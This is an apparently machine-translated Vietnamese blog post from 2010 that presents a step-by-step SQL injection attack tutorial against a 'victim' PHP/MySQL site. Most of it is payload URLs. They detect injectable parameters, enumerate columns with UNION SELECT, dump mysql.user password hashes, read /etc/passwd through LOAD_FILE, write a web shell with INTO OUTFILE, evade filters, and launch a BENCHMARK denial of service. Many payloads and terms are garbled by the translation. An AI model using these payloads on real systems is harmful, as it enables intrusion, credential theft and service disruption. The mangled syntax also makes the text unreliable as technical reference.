Trao đổi với tôi

www.hdphim.info

2/22/10

[Hacking] TUT SQL Injection PHP chi tiết và đầy đủ (của Nga)

Hôm nay tớ dịch ra cho anh em ha,có gì sai sót anh em thông cảm:
Lỗi MySQL là một lỗi rất là thông dụng và nguy hiểm.Khác với các lỗi khác MySQL bị lỗi là cho người viết mã gây ra hay bị sai sót
Lỗi MySQL đem lại những lợi ích như thế nào?
Nó cho phép người sử dụng có thể khai thác dễ dàng vào các database.Nói rõ hơn nó cho ta thấy được những thông số có liên quan đến victim chứa lỗi.MySQL Inj có thể phá hủy tập tin hay cho phép các tập tin khác mà attacker chèn vào
Bây giờ chúng ta nhìn vào 1 số ví dụ về code php
Trích dẫn
...
$ id = $ _GET [ 'id'];
...
mysql_query ( "UNION SELECT nick FROM users WHERE id =". );..... $ id
?>

Chúng ta cần lưu ý về phương thức lấy đoạn ma GET .Anh em hãy để ý kỹ về đoạn mã php ở trên.Chúng ta có thể thay đổi yêu cầu truy vấn dựa vào GET.Nếu nó không lọc phần [ 'id'] mà chúng ta truy vấn vào dữ liệu của victim thì có nghĩa là nó bị lỗi MySQL.
Làm sao mà biết chính xác là nó bị lỗi.Sau đấy là 1 ví dụ :
Trích dẫn
http://www.site.ru/index.php?page=1


Với 1 trang như thế ,để ta biết nó có bị dính lỗi hay ko thi ta cần thêm vào 1 ký tự như dấu '
Trích dẫn
http://www.site.ru/index.php?page=1'


Và khi nó bị dính MySQL thì website sẽ gởi lại cho ta biết với 1 thông báo như sau:

+MySQL Error: mysql_query (.......) error expretion syntax ...

Câu nói ở đây có nghĩa là có 1 truy vấn đang bị lỗi về cấu trúc toán học hay thư mục.Và 99% đây là lỗi source.

Ngoài ra ta còn 1 phương các nữa là ta dùng phương thức toán học đơn giản như sau:

Trích dẫn
http://www.site.ru/index.php?page=2-1


Và nó trở về 1 thì 99% nó bị dính mysql.
Khi ta biết chính xác nó bị lỗi thì ta sẽ khai thác như sau.Chúng ta cần gởi 1 truy vấn sql đến victim nhưng chúng ta cần truy vấn với giá trĩ là null.Null ở đây là rỗng không có 1 giá trị xác thực.
Đây là
Trích dẫn
http://www.site.ru/index.php?page=-1 union + + + select null, null / *
or
http://www.site.ru/index.php?page=99999 union + + + select null, null / *


Chúng ta sẽ sử dụng lần lượt các câu truy vấn thông dụng như:
Trích dẫn
union select null, null
union select null, null, null
union select null, null, null, null


Lệnh union ở đây chính là lênh kết nối các bảng lại với nhau.Chúng ta cứ sử dụng cho đến khi biết 9 xác có bao nhiêu bảng dữ liệu nằm trong database
Trích dẫn
http://www.site.ru/index.php?page=-1 union + + + select null, null, null, null, null, null / *


Sau khi đã xác định được bảng ta xét đến nó có bao nhiệu cột nằm trong bảng.Với câu lệnh sau sẽ giúp ta xác định:

Trích dẫn
+? id =- 1 + + by order +100 / *


Dĩ nhiên các cột không thể nào quá 100 cột được.Với cách thức này ta có thể nhanh chóng biết được bao nhiêu cột.Và có sai thì nó sẽ báo lổi.

Sau khi đã biết chính xác được có bao nhiêu cột thì ta sẽ thay thế các giá trị null mà hồi nãy ta truy vấn bằng các con số 9 xác như 1,2,3,..

Trích dẫn
http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5,6 / *


Sau đó ta sẽ lấy 1 số thông tin như user database...Và ta cần biết 9 xác nó nằm ở cột nào mới truy vấn và tìm
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, USER (), 4,5,6 / *
http://www.site.ru/index.php?page=-1 + union + +1.2 select, VERSION (), 4,5,6 / *
http://www.site.ru/index.php?page=-1 + union + +1.2 select, DATABASE (), 4,5,6 / *


*Sau khi có được các thông tin thì ta cần làm những bước sau tùy vào ý thích của mỗi người

1-Lấy pass của thằng root(Nó là quan trọng 1 mà)
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6 mysql.user + from + / *


Và nó sẽ cho ra pass là pass hash và chúng ta dùng các chương trình crack pass để lấy mã.Ví dụ như chương trình password pro.Lưu ý phương thức lấy pass bằng câu lệnh trên ko có nghĩa lúc nào cũng cho ra pass mà còn phụ thuộc vào thằng mysql.user có chấp nhận yêu cầu của ta hay ko.

2-Đọc các bảng khác có liên quan đến thằng root:
Chúng ta có thể đọc các bảng có liên quan như:spreadsheet-type users, reg_users, admins, accounts ...
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, name, passwd, 4,5,6 + + from users / *


3-Đọc tập tin chứ trên server:
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE ( '/ etc / passwd'), 4,5,6 / *


Nếu chúng ta xác định 9 xác tập tin ta cần đọc thì phần LOAD_FILE sẽ giúp ích cho ta rất nhiều.

4-Up shell và ddos:
Chúng ta cần nhận thấy là chúng ta cần nên đưa con shell ở bên ngoài vào sao cho phù hợp 1.Và thư mục mà ta cần quan tâm và phù hợp 1 chính là "/ home / site / public_html /"

Code up shell:
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5, '' + + + from mysql.user into outfile + + '/ home / site / public_html / shell.php' / *


Việc up shell là phần quan trọng 1 đối với lỗi MYSQL.Và 1 điều quan trọng ko kém là chúng ta cần đưa thêm biến hay tham số ,cụ thể là số.Nó sẽ giúp ta thực hiện được 1 số lệnh bị giới hạn trong mysql.
Ví dụ:union select 1.2, user, pass, from 5,6 + + + users limit +5.3 / * [/ i]
Chúng sẽ thử lại 3 lần với cột số 5

Đôi khi chúng ta gặp phải 1 số cơ chế lọc hay mã hóa trong mysql.Chính vì vậy để giải quyết vấn đề loại bỏ cơ chế trên ta cần 1 câu lệnh ko kém phần quan trọng
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, AES_DECRYPT (AES_ENCRYPT (USER (), 0x71), 0x71), 4,5,6 / *


1 điều cần lưu ý là khi bộ lọc kovychku của sql được bật thì chúng ta có thể dùng đến phần LOAD_FILE
Ví dụ ta đưa vào LOAD_FILE phần đọc thư mục / etc / passwd thì chúng ta dùng đoạn code sau:
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE (char (47101116,99,47112,97115115119100)), 4,5,6 / *


Đôi khi ta bị thằng inektsiya giới hạn việc sử dụng các khoản không gian sử dụng.Để xác lập lại ta dùng các lệnh sau:
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6 mysql.user + from + / *

same
Trích dẫn
http://www.site.ru/index.php?page=-1/ ** / union / ** / select / ** / 1.2, user,


Phần cuối là dos:Chắc câu lệnh này mọi người ai cũng hiểu ha:
Trích dẫn
http://www.site.ru/index.php?page=-1 + BENCHMARK (10000000, BENCHMARK (10000000 md5 (current_date)))


Bản dịch của diepvien007 @ VBF

1 comment:

  1. This comment has been removed by a blog administrator.

    ReplyDelete